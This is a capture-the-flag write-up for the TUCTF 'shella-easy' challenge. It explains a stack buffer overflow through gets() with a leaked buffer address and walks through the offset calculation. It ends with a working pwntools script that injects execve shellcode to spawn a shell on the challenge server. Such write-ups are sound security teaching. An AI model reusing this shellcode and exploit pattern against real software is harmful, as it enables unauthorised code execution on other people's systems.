# Shella easy---
## Description
Difficulty: easy-ishWant to be a drive-thru attendant?Well, no one does... But! the best employee receives their very own flag! whatdya say?
nc 52.15.182.55 12345
---
## Test Run
Let's first test out the binary.
```root@kali:~/Desktop/tuctf/shella-easy# ./shella-easy Yeah I'll have a 0xff8f0080 with a side of fries thanksasfas```
Again, like ehh, it has some hexadecimal values being printed out.Decompiling it, we see that we have a gets function which accepts memory location of s whose memory location is printed out. This certainly will help us overcome the ASLRsince it is intentionally leaking the address.
```cint __cdecl main(int argc, const char **argv, const char **envp){  char s; // [esp+0h] [ebp-48h]  int v5; // [esp+40h] [ebp-8h]
  setvbuf(stdout, 0, 2, 0x14u);  setvbuf(stdin, 0, 2, 0x14u);  v5 = -889275714;  printf("Yeah I'll have a %p with a side of fries thanks\n", &s);  gets(&s);  if ( v5 != -559038737 )    exit(0);  return 0;}```
One more thing is the condition if `v5` not equals to -559038737 we will exit instead of a return. Since there are no other functions that we can jump to to read a flag, we can insert our shellcode maybe. But we first check if it is possible.
```root@kali:~/Desktop/tuctf/shella-easy# checksec  shella-easy[*] '/root/Desktop/tuctf/shella-easy/shella-easy'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x8048000)    RWX:      Has RWX segments```
Definitely possible. So now we want to jump to a shellcode to execute and we can take advantage of the return instruction. However the current value of v5 always causes the program to exit instead of returning and popping the return address. To return, we need to overwrite the v5 variable to -559038737 which in hex is 0xDEADBEEF.
We now need to determine the number of buffers to overwrite before modifying v5 then number of buffers more to overwrite before controlling the EIP.
We can see that `s` is `[ebp-48h]` and v5 is `[ebp-8h]`. This means we need to overwrite `0x48 - 0x8 = 64 bytes`. We can insert our shellcode here and prepended it with NOP as padding. Then we need to overwrite the next 4 bytes with `0xDEADBEEF` then overwrite the remaining 0x48-64-4=4 bytes. Then another 4 bytes for the saved EBP and then the EIP address to jump to our shellcode. The address to jump to is the buffer which is printed out for us nicely.
We can write a script then gets the buffer address and craft the payload and then submit to spawn a shell.
## Python script```pythonfrom pwn import *
#p = process("./shella-easy")
p = remote("52.15.182.55", 12345)k = p.recvrepeat(1)print k#raw_input()k = k.split(" ")[4]print kbufferLocation = p32(int(k,16))
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"payload = ""payload += "\x90"*(64-len(shellcode))payload += shellcodepayload += "\xef\xbe\xad\xde"payload += "C"*8payload += bufferLocation
p.sendline(payload)p.interactive()```
and this gives the flag.
![solveshellaeasy](https://cexplrhome.files.wordpress.com/2018/11/solveshellaeasy.png)
Flag: TUCTF{1_607_4_fl46_bu7_n0_fr135}------